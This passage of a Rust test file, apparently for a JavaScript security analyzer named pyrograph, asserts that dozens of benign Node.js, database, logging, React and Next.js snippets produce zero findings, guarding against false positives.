console.log('Running in production mode');
} else {
console.log('Running in development mode');
}
"#;
let graph = pyrograph::parse::parse_js(js, "node_env_check.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: process.env.NODE_ENV check must have zero findings");
}
#[test]
fn fp_yargs_argv_parsing() {
let js = r#"
const yargs = require('yargs');
const argv = yargs.option('port', { type: 'number', default: 3000 }).argv;
console.log('Server will run on port:', argv.port);
"#;
let graph = pyrograph::parse::parse_js(js, "yargs_parse.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: yargs argv parsing must have zero findings");
}
#[test]
fn fp_commander_argv_parsing() {
let js = r#"
const { program } = require('commander');
program.option('-p, --port <number>', 'port number', '3000');
program.parse(process.argv);
const options = program.opts();
console.log('Port:', options.port);
"#;
let graph = pyrograph::parse::parse_js(js, "commander_parse.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: commander argv parsing must have zero findings");
}
#[test]
fn fp_child_process_exec_build_tsc() {
let js = r#"
const { execSync } = require('child_process');
execSync('tsc --build tsconfig.json');
console.log('TypeScript compilation complete');
"#;
let graph = pyrograph::parse::parse_js(js, "tsc_build.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: child_process.exec for tsc build must have zero findings");
}
#[test]
fn fp_child_process_exec_webpack() {
let js = r#"
const { execSync } = require('child_process');
execSync('webpack --mode production');
console.log('Webpack build complete');
"#;
let graph = pyrograph::parse::parse_js(js, "webpack_build.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: child_process.exec for webpack build must have zero findings");
}
#[test]
fn fp_os_cpus_worker_threads() {
let js = r#"
const os = require('os');
const numCPUs = os.cpus().length;
console.log(`This machine has ${numCPUs} CPUs`);
for (let i = 0; i < numCPUs; i++) {
console.log(`CPU ${i}:`, os.cpus()[i].model);
}
"#;
let graph = pyrograph::parse::parse_js(js, "os_cpus.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: os.cpus() for worker thread planning must have zero findings");
}
#[test]
fn fp_cluster_fork() {
let js = r#"
const cluster = require('cluster');
const os = require('os');
if (cluster.isMaster) {
for (let i = 0; i < os.cpus().length; i++) {
cluster.fork();
}
} else {
require('./server');
}
"#;
let graph = pyrograph::parse::parse_js(js, "cluster_fork.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: cluster.fork() must have zero findings");
}
#[test]
fn fp_pm2_integration() {
let js = r#"
const pm2 = require('pm2');
pm2.connect(err => {
if (err) throw err;
pm2.start({
script: './server.js',
name: 'api-server',
instances: 2
}, (err, apps) => {
pm2.disconnect();
});
});
"#;
let graph = pyrograph::parse::parse_js(js, "pm2_start.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: pm2 integration must have zero findings");
}
#[test]
fn fp_process_cwd_paths() {
let js = r#"
const path = require('path');
const cwd = process.cwd();
const configPath = path.join(cwd, 'config.json');
console.log('Config path:', configPath);
"#;
let graph = pyrograph::parse::parse_js(js, "process_cwd.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: process.cwd() for paths must have zero findings");
}
#[test]
fn fp_process_pid_logging() {
let js = r#"
console.log(`Process started with PID: ${process.pid}`);
"#;
let graph = pyrograph::parse::parse_js(js, "process_pid.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: process.pid logging must have zero findings");
}
#[test]
fn fp_process_uptime_health() {
let js = r#"
setInterval(() => {
console.log(`Uptime: ${process.uptime()} seconds`);
}, 60000);
"#;
let graph = pyrograph::parse::parse_js(js, "process_uptime.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: process.uptime() for health checks must have zero findings");
}
#[test]
fn fp_process_memoryusage_monitoring() {
let js = r#"
const usage = process.memoryUsage();
console.log('RSS:', usage.rss);
console.log('Heap used:', usage.heapUsed);
console.log('External:', usage.external);
"#;
let graph = pyrograph::parse::parse_js(js, "memory_usage.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: process.memoryUsage() monitoring must have zero findings");
}
#[test]
fn fp_process_exit_graceful() {
let js = r#"
process.on('SIGTERM', () => {
console.log('SIGTERM received, shutting down gracefully');
process.exit(0);
});
"#;
let graph = pyrograph::parse::parse_js(js, "process_exit.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: process.exit() for graceful shutdown must have zero findings");
}
#[test]
fn fp_process_nexttick_async() {
let js = r#"
console.log('Before nextTick');
process.nextTick(() => {
console.log('Inside nextTick');
});
console.log('After nextTick');
"#;
let graph = pyrograph::parse::parse_js(js, "process_nexttick.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: process.nextTick() must have zero findings");
}
#[test]
fn fp_process_platform_check() {
let js = r#"
if (process.platform === 'win32') {
console.log('Running on Windows');
} else if (process.platform === 'darwin') {
console.log('Running on macOS');
} else {
console.log('Running on Linux');
}
"#;
let graph = pyrograph::parse::parse_js(js, "process_platform.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: process.platform check must have zero findings");
}
#[test]
fn fp_process_versions_check() {
let js = r#"
console.log('Node version:', process.versions.node);
console.log('V8 version:', process.versions.v8);
console.log('OpenSSL version:', process.versions.openssl);
"#;
let graph = pyrograph::parse::parse_js(js, "process_versions.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: process.versions check must have zero findings");
}
#[test]
fn fp_child_process_execfile_safe() {
let js = r#"
const { execFile } = require('child_process');
execFile('node', ['--version'], (error, stdout) => {
if (error) throw error;
console.log('Node version:', stdout.trim());
});
"#;
let graph = pyrograph::parse::parse_js(js, "execfile_safe.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: child_process.execFile with safe args must have zero findings");
}
#[test]
fn fp_child_process_spawn_longrunning() {
let js = r#"
const { spawn } = require('child_process');
const worker = spawn('node', ['worker.js'], { stdio: 'inherit' });
worker.on('close', code => {
console.log(`Worker exited with code ${code}`);
});
"#;
let graph = pyrograph::parse::parse_js(js, "spawn_worker.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: child_process.spawn for worker must have zero findings");
}
#[test]
fn fp_child_process_fork_cluster() {
let js = r#"
const { fork } = require('child_process');
const child = fork('./child.js');
child.on('message', msg => {
console.log('Message from child:', msg);
});
child.send({ hello: 'world' });
"#;
let graph = pyrograph::parse::parse_js(js, "fork_cluster.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: child_process.fork must have zero findings");
}
#[test]
fn fp_child_process_execsync_git() {
let js = r#"
const { execSync } = require('child_process');
const commitHash = execSync('git rev-parse HEAD').toString().trim();
console.log('Current commit:', commitHash);
"#;
let graph = pyrograph::parse::parse_js(js, "git_execsync.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: child_process.execSync for git must have zero findings");
}
#[test]
fn fp_os_hostname_serverid() {
let js = r#"
const os = require('os');
console.log('Server hostname:', os.hostname());
"#;
let graph = pyrograph::parse::parse_js(js, "os_hostname.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: os.hostname() for server ID must have zero findings");
}
#[test]
fn fp_os_homedir_config() {
let js = r#"
const os = require('os');
const path = require('path');
const configDir = path.join(os.homedir(), '.myapp');
console.log('Config directory:', configDir);
"#;
let graph = pyrograph::parse::parse_js(js, "os_homedir.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: os.homedir() for config paths must have zero findings");
}
#[test]
fn fp_mongoose_find_query() {
let js = r#"
const mongoose = require('mongoose');
const User = mongoose.model('User', new mongoose.Schema({ name: String }));
User.find({ active: true }).limit(10).exec((err, users) => {
if (err) throw err;
console.log('Found users:', users.length);
});
"#;
let graph = pyrograph::parse::parse_js(js, "mongoose_find.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: mongoose find query must have zero findings");
}
#[test]
fn fp_sequelize_orm_query() {
let js = r#"
const { Sequelize, DataTypes } = require('sequelize');
const sequelize = new Sequelize('sqlite::memory:');
const User = sequelize.define('User', { name: DataTypes.STRING });
User.findAll({ where: { active: true } }).then(users => {
console.log(users.length);
});
"#;
let graph = pyrograph::parse::parse_js(js, "sequelize_query.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: sequelize ORM query must have zero findings");
}
#[test]
fn fp_knex_query_builder() {
let js = r#"
const knex = require('knex')({ client: 'sqlite3', connection: { filename: './db.sqlite' } });
knex.select('*').from('users').where('active', true).then(rows => {
console.log('Active users:', rows.length);
});
"#;
let graph = pyrograph::parse::parse_js(js, "knex_query.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: knex query builder must have zero findings");
}
#[test]
fn fp_redis_pubsub() {
let js = r#"
const redis = require('redis');
const publisher = redis.createClient();
publisher.publish('notifications', 'Hello subscribers');
const subscriber = redis.createClient();
subscriber.subscribe('notifications');
subscriber.on('message', (channel, message) => {
console.log(`Received ${message} from ${channel}`);
});
"#;
let graph = pyrograph::parse::parse_js(js, "redis_pubsub.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Redis pub/sub must have zero findings");
}
#[test]
fn fp_winston_logging() {
let js = r#"
const winston = require('winston');
const logger = winston.createLogger({
level: 'info',
format: winston.format.json(),
transports: [new winston.transports.Console()]
});
logger.info('Application started');
logger.error('Something went wrong');
"#;
let graph = pyrograph::parse::parse_js(js, "winston_logging.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: winston logging must have zero findings");
}
#[test]
fn fp_pino_logging() {
let js = r#"
const pino = require('pino');
const logger = pino();
logger.info('Server listening on port 3000');
logger.debug({ reqId: '123' }, 'Incoming request');
"#;
let graph = pyrograph::parse::parse_js(js, "pino_logging.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: pino logging must have zero findings");
}
#[test]
fn fp_sentry_error_reporting() {
let js = r#"
const Sentry = require('@sentry/node');
Sentry.init({ dsn: 'https://public@sentry.example.com/1' });
try {
riskyOperation();
} catch (err) {
Sentry.captureException(err);
}
"#;
let graph = pyrograph::parse::parse_js(js, "sentry_report.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Sentry error reporting must have zero findings");
}
#[test]
fn fp_datadog_metrics() {
let js = r#"
const { StatsD } = require('node-statsd');
const client = new StatsD({ host: 'localhost', port: 8125 });
client.increment('api.requests');
client.timing('api.response_time', 42);
client.gauge('api.active_connections', 10);
"#;
let graph = pyrograph::parse::parse_js(js, "datadog_metrics.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: DataDog metrics must have zero findings");
}
#[test]
fn fp_console_log_json_stringify() {
let js = r#"
const data = { user: 'alice', action: 'login', timestamp: Date.now() };
console.log(JSON.stringify(data));
"#;
let graph = pyrograph::parse::parse_js(js, "console_json.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: console.log with JSON.stringify must have zero findings");
}
#[test]
fn fp_debug_module_usage() {
let js = r#"
const debug = require('debug')('app:server');
debug('Starting server on port %d', 3000);
debug('Connected to database: %s', 'postgres');
"#;
let graph = pyrograph::parse::parse_js(js, "debug_module.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: debug module usage must have zero findings");
}
#[test]
fn fp_mongodb_hardcoded_query() {
let js = r#"
const { MongoClient } = require('mongodb');
async function run() {
const client = new MongoClient('mongodb://localhost:27017');
await client.connect();
const db = client.db('test');
const users = await db.collection('users').find({ role: 'admin' }).toArray();
console.log('Admins:', users.length);
await client.close();
}
run();
"#;
let graph = pyrograph::parse::parse_js(js, "mongodb_query.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: MongoDB hardcoded query must have zero findings");
}
#[test]
fn fp_postgres_hardcoded_sql() {
let js = r#"
const { Pool } = require('pg');
const pool = new Pool({ connectionString: 'postgresql://localhost/test' });
pool.query('SELECT * FROM users WHERE active = true', (err, res) => {
if (err) throw err;
console.log('Active users:', res.rows.length);
pool.end();
});
"#;
let graph = pyrograph::parse::parse_js(js, "postgres_query.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: PostgreSQL hardcoded query must have zero findings");
}
#[test]
fn fp_sqlite_hardcoded_query() {
let js = r#"
const sqlite3 = require('sqlite3').verbose();
const db = new sqlite3.Database(':memory:');
db.run('CREATE TABLE users (id INT, name TEXT)');
db.all('SELECT * FROM users', [], (err, rows) => {
if (err) throw err;
console.log('Users:', rows.length);
});
db.close();
"#;
let graph = pyrograph::parse::parse_js(js, "sqlite_query.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: SQLite hardcoded query must have zero findings");
}
#[test]
fn fp_prisma_findmany() {
let js = r#"
const { PrismaClient } = require('@prisma/client');
const prisma = new PrismaClient();
async function main() {
const users = await prisma.user.findMany({ where: { active: true } });
console.log('Users:', users.length);
}
main().finally(() => prisma.$disconnect());
"#;
let graph = pyrograph::parse::parse_js(js, "prisma_findmany.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Prisma findMany must have zero findings");
}
#[test]
fn fp_typeorm_find() {
let js = r#"
const { createConnection } = require('typeorm');
createConnection().then(async connection => {
const users = await connection.getRepository('User').find({ where: { active: true } });
console.log('Found users:', users.length);
await connection.close();
});
"#;
let graph = pyrograph::parse::parse_js(js, "typeorm_find.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: TypeORM find must have zero findings");
}
#[test]
fn fp_elasticsearch_search() {
let js = r#"
const { Client } = require('@elastic/elasticsearch');
const client = new Client({ node: 'http://localhost:9200' });
client.search({
index: 'products',
body: { query: { match: { name: 'laptop' } } }
}).then(result => {
console.log('Hits:', result.body.hits.total.value);
});
"#;
let graph = pyrograph::parse::parse_js(js, "elasticsearch_search.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Elasticsearch search must have zero findings");
}
#[test]
fn fp_firebase_queries() {
let js = r#"
const admin = require('firebase-admin');
admin.initializeApp();
const db = admin.firestore();
db.collection('users').where('active', '==', true).get().then(snapshot => {
console.log('Active users:', snapshot.size);
});
"#;
let graph = pyrograph::parse::parse_js(js, "firebase_query.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Firebase queries must have zero findings");
}
#[test]
fn fp_dynamodb_getitem() {
let js = r#"
const AWS = require('aws-sdk');
const dynamodb = new AWS.DynamoDB.DocumentClient();
dynamodb.get({
TableName: 'Users',
Key: { userId: 'user-123' }
}).promise().then(result => {
console.log('User:', result.Item);
});
"#;
let graph = pyrograph::parse::parse_js(js, "dynamodb_get.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: DynamoDB getItem must have zero findings");
}
#[test]
fn fp_cassandra_queries() {
let js = r#"
const cassandra = require('cassandra-driver');
const client = new cassandra.Client({ contactPoints: ['127.0.0.1'], keyspace: 'test' });
client.execute('SELECT * FROM users WHERE id = ?', ['user-123'])
.then(result => console.log('Rows:', result.rows.length));
"#;
let graph = pyrograph::parse::parse_js(js, "cassandra_query.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Cassandra queries must have zero findings");
}
#[test]
fn fp_neo4j_queries() {
let js = r#"
const neo4j = require('neo4j-driver');
const driver = neo4j.driver('bolt://localhost', neo4j.auth.basic('neo4j', 'password'));
const session = driver.session();
session.run('MATCH (u:User {id: $id}) RETURN u', { id: 'user-123' })
.then(result => {
console.log('Records:', result.records.length);
session.close();
});
"#;
let graph = pyrograph::parse::parse_js(js, "neo4j_query.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Neo4j queries must have zero findings");
}
#[test]
fn fp_influxdb_queries() {
let js = r#"
const Influx = require('influx');
const influx = new Influx.InfluxDB({
host: 'localhost',
database: 'metrics'
});
influx.query('SELECT * FROM cpu_usage WHERE time > now() - 1h').then(rows => {
console.log('Metrics rows:', rows.length);
});
"#;
let graph = pyrograph::parse::parse_js(js, "influxdb_query.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: InfluxDB queries must have zero findings");
}
#[test]
fn fp_wave2_nextjs_getserversideprops_fetch() {
let js = r#"
export async function getServerSideProps(context) {
const apiUrl = 'https://api.example.com';
const data = await fetch(apiUrl + '/health').then(r => r.json());
return { props: { status: data.status, env: process.env.NODE_ENV } };
}
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_ssp_fetch.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js getServerSideProps with fetch must have zero findings");
}
#[test]
fn fp_wave2_react_useeffect_fetch_data() {
let js = r#"
const React = require('react');
const { useEffect, useState } = React;
function UserProfile(props) {
const [user, setUser] = useState(null);
useEffect(function() {
fetch('/api/users/' + props.userId)
.then(function(r) { return r.json(); })
.then(function(data) { setUser(data); });
}, [props.userId]);
return React.createElement('div', null, user ? user.name : 'Loading');
}
module.exports = UserProfile;
"#;
let graph = pyrograph::parse::parse_js(js, "react_useeffect_fetch.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: React useEffect with fetch must have zero findings");
}
#[test]
fn fp_wave2_nextjs_dynamic_import() {
let js = r#"
const dynamic = require('next/dynamic');
const React = require('react');
const HeavyChart = dynamic(function() { return import('../components/Chart'); }, { ssr: false });
function Dashboard() {
return React.createElement('div', null, React.createElement(HeavyChart, { data: [] }));
}
module.exports = Dashboard;
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_dynamic_import.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js dynamic import must have zero findings");
}
#[test]
fn fp_wave2_nextjs_server_action_form() {
let js = r#"
'use server';
async function submitForm(formData) {
const name = formData.get('name');
await fetch('https://api.example.com/submit', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ name: name })
});
}
module.exports = { submitForm };
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_server_action.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js server action must have zero findings");
}
#[test]
fn fp_wave2_nextjs_middleware_redirect() {
let js = r#"
import { NextResponse } from 'next/server';
export function middleware(request) {
const token = request.cookies.get('token');
if (!token && request.nextUrl.pathname.startsWith('/admin')) {
return NextResponse.redirect(new URL('/login', request.url));
}
return NextResponse.next();
}
export const config = { matcher: ['/admin/:path*'] };
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_middleware.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js middleware must have zero findings");
}
#[test]
fn fp_wave2_react_uselocalstorage_hook() {
let js = r#"
const React = require('react');
const { useState, useEffect } = React;
function useLocalStorage(key, initialValue) {
const [stored, setStored] = useState(function() {
try {
const item = window.localStorage.getItem(key);
return item ? JSON.parse(item) : initialValue;
} catch (err) {
return initialValue;
}
});
useEffect(function() {
window.localStorage.setItem(key, JSON.stringify(stored));
}, [key, stored]);
return [stored, setStored];
}
module.exports = { useLocalStorage };
"#;
let graph = pyrograph::parse::parse_js(js, "react_localstorage_hook.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: React useLocalStorage hook must have zero findings");
}
#[test]
fn fp_wave2_nextjs_api_route_handler() {
let js = r#"
module.exports = async function handler(req, res) {
if (req.method !== 'POST') {
return res.status(405).json({ error: 'Method not allowed' });
}
const email = req.body.email;
const result = await fetch('https://api.example.com/contact', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email: email })
});
res.status(200).json({ success: result.ok });
};
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_api_route.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js API route handler must have zero findings");
}
#[test]
fn fp_wave2_react_context_provider() {
let js = r#"
const React = require('react');
const { createContext, useContext, useState } = React;
const AuthContext = createContext(null);
function AuthProvider(props) {
const [user, setUser] = useState(null);
const login = function(credentials) {
return fetch('/api/auth/login', {
method: 'POST',
body: JSON.stringify(credentials)
}).then(function(r) { return r.json(); }).then(function(data) { setUser(data); });
};
return React.createElement(AuthContext.Provider, { value: { user: user, login: login } }, props.children);
}
module.exports = { AuthProvider: AuthProvider, AuthContext: AuthContext };
"#;
let graph = pyrograph::parse::parse_js(js, "react_context_provider.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: React context provider must have zero findings");
}
#[test]
fn fp_wave2_nextjs_image_optimization() {
let js = r#"
const React = require('react');
function Gallery() {
return React.createElement('div', null,
React.createElement('img', { src: '/photos/mountain.jpg', alt: 'Mountain', width: 800, height: 600 }),
React.createElement('img', { src: 'https://cdn.example.com/logo.png', alt: 'Logo', width: 200, height: 50 })
);
}
module.exports = Gallery;
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_image.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js Image component must have zero findings");
}
#[test]
fn fp_wave2_react_router_navigation() {
let js = r#"
const { useRouter } = require('next/router');
const React = require('react');
function Navigation() {
const router = useRouter();
const handleClick = function(path) {
router.push(path);
};
return React.createElement('button', { onClick: function() { handleClick('/dashboard'); } }, 'Go to Dashboard');
}
module.exports = Navigation;
"#;
let graph = pyrograph::parse::parse_js(js, "react_router_nav.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: React router navigation must have zero findings");
}
#[test]
fn fp_wave2_nextjs_revalidate_isr() {
let js = r#"
export async function getStaticProps() {
const res = await fetch('https://blog.example.com/posts');
const posts = await res.json();
return {
props: { posts: posts },
revalidate: 60
};
}
const React = require('react');
function Blog(props) {
return React.createElement('ul', null, props.posts.map(function(p) {
return React.createElement('li', { key: p.id }, p.title);
}));
}
module.exports = Blog;
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_isr.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js ISR revalidate must have zero findings");
}
#[test]
fn fp_wave2_react_usememo_computation() {
let js = r#"
const React = require('react');
const { useMemo } = React;
function DataTable(props) {
const filtered = useMemo(function() {
return props.rows.filter(function(r) {
return r.name.toLowerCase().includes(props.filter.toLowerCase());
});
}, [props.rows, props.filter]);
return React.createElement('table', null, filtered.map(function(r) {
return React.createElement('tr', { key: r.id }, React.createElement('td', null, r.name));
}));
}
module.exports = DataTable;
"#;
let graph = pyrograph::parse::parse_js(js, "react_usememo.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: React useMemo computation must have zero findings");
}
#[test]
fn fp_wave2_nextjs_generatestaticparams() {
let js = r#"
export async function generateStaticParams() {
return [{ slug: 'a' }, { slug: 'b' }, { slug: 'c' }];
}
const React = require('react');
function Page(props) {
return React.createElement('h1', null, 'Page: ' + (props.params ? props.params.slug : ''));
}
module.exports = Page;
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_static_params.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js generateStaticParams must have zero findings");
}
#[test]
fn fp_wave2_react_suspense_lazy() {
let js = r#"
const React = require('react');
const { Suspense, lazy } = React;
const LazyComponent = lazy(function() { return import('./HeavyComponent'); });
function App() {
return React.createElement(Suspense, { fallback: React.createElement('div', null, 'Loading...') },
React.createElement(LazyComponent, null)
);
}
module.exports = App;
"#;
let graph = pyrograph::parse::parse_js(js, "react_suspense_lazy.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: React Suspense with lazy must have zero findings");
}
#[test]
fn fp_wave2_nextjs_metadata_export() {
let js = r#"
const metadata = {
title: 'My App',
description: 'Built with Next.js',
metadataBase: new URL('https://example.com')
};
const React = require('react');
function Layout(props) {
return React.createElement('html', { lang: 'en' },
React.createElement('body', null, props.children)
);
}
module.exports = { metadata: metadata, Layout: Layout };
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_metadata.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js metadata export must have zero findings");
}
#[test]
fn fp_wave2_react_usecallback_eventhandler() {
let js = r#"
const React = require('react');
const { useCallback, useState } = React;
function Counter() {
const [count, setCount] = useState(0);
const increment = useCallback(function() { setCount(function(c) { return c + 1; }); }, []);
return React.createElement('button', { onClick: increment }, count);
}
module.exports = Counter;
"#;
let graph = pyrograph::parse::parse_js(js, "react_usecallback.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: React useCallback event handler must have zero findings");
}
#[test]
fn fp_wave2_nextjs_catchall_route() {
let js = r#"
const React = require('react');
function CatchAll(props) {
const segments = props.params && props.params.slug ? props.params.slug : [];
return React.createElement('div', null, 'Path: ' + segments.join('/'));
}
module.exports = CatchAll;
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_catchall.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js catch-all route must have zero findings");
}
#[test]
fn fp_wave2_react_portal_modal() {
let js = r#"
const React = require('react');
const { createPortal } = require('react-dom');
function Modal(props) {
return createPortal(
React.createElement('div', { className: 'modal' },
React.createElement('button', { onClick: props.onClose }, 'Close'),
props.children
),
document.getElementById('modal-root')
);
}
module.exports = Modal;
"#;
let graph = pyrograph::parse::parse_js(js, "react_portal.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: React portal modal must have zero findings");
}
#[test]
fn fp_wave2_nextjs_edge_middleware() {
let js = r#"
export const config = { runtime: 'edge' };
export default async function handler(req) {
const country = req.geo && req.geo.country ? req.geo.country : 'US';
const response = await fetch('https://api.example.com/localize?country=' + country);
const data = await response.json();
return new Response(JSON.stringify(data), { headers: { 'Content-Type': 'application/json' } });
}
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_edge_middleware.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js edge middleware must have zero findings");
}
#[test]
fn fp_wave2_react_useref_dom() {
let js = r#"
const React = require('react');
const { useRef, useEffect } = React;
function Canvas() {
const canvasRef = useRef(null);
useEffect(function() {
const ctx = canvasRef.current.getContext('2d');
ctx.fillStyle = 'blue';
ctx.fillRect(0, 0, 100, 100);
}, []);
return React.createElement('canvas', { ref: canvasRef, width: 200, height: 200 });
}
module.exports = Canvas;
"#;
let graph = pyrograph::parse::parse_js(js, "react_useref_dom.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: React useRef DOM access must have zero findings");
}
#[test]
fn fp_wave2_nextjs_error_boundary() {
let js = r#"
'use client';
const React = require('react');
const { useEffect } = React;
function ErrorBoundary(props) {
useEffect(function() {
console.log('Error occurred:', props.error && props.error.message);
}, [props.error]);
return React.createElement('div', null,
React.createElement('h2', null, 'Something went wrong'),
React.createElement('button', { onClick: props.reset }, 'Try again')
);
}
module.exports = ErrorBoundary;
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_error_boundary.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js error boundary must have zero findings");
}
#[test]
fn fp_wave2_react_custom_hook_fetcher() {
let js = r#"
const React = require('react');
const { useState, useEffect } = React;
function useFetcher(url) {
const [data, setData] = useState(null);
const [error, setError] = useState(null);
useEffect(function() {
fetch(url)
.then(function(r) { if (!r.ok) throw new Error('Failed'); return r.json(); })
.then(setData)
.catch(setError);
}, [url]);
return { data: data, error: error };
}
module.exports = { useFetcher: useFetcher };
"#;
let graph = pyrograph::parse::parse_js(js, "react_custom_fetcher.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: React custom fetcher hook must have zero findings");
}
#[test]
fn fp_wave2_nextjs_layout_root() {
let js = r#"
const React = require('react');
const metadata = { title: { default: 'Home', template: '%s | MySite' } };
function RootLayout(props) {
return React.createElement('html', { lang: 'en' },
React.createElement('body', null,
React.createElement('nav', null, React.createElement('a', { href: '/' }, 'Home')),
React.createElement('main', null, props.children)
)
);
}
module.exports = { metadata: metadata, RootLayout: RootLayout };
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_root_layout.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: Next.js root layout must have zero findings");
}
#[test]
fn fp_wave2_react_server_component_async() {
let js = r#"
const React = require('react');
async function getData() {
const res = await fetch('https://api.example.com/data', { cache: 'no-store' });
return res.json();
}
async function ServerComponent() {
const data = await getData();
return React.createElement('section', null, data.items.map(function(i) {
return React.createElement('p', { key: i.id }, i.name);
}));
}
module.exports = ServerComponent;
"#;
let graph = pyrograph::parse::parse_js(js, "react_server_component.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(findings.is_empty(), "FP: React async server component must have zero findings");
}
#[test]
fn fp_wave2_nextjs_loading_skeleton() {
let js = r#"
const React = require('react');
function Loading() {
return React.createElement('div', { className: 'skeleton' },
React.createElement('div', { className: 'skeleton-title' }),
React.createElement('div', { className: 'skeleton-text' }),
React.createElement('div', { className: 'skeleton-text' })
);
}
module.exports = Loading;
"#;
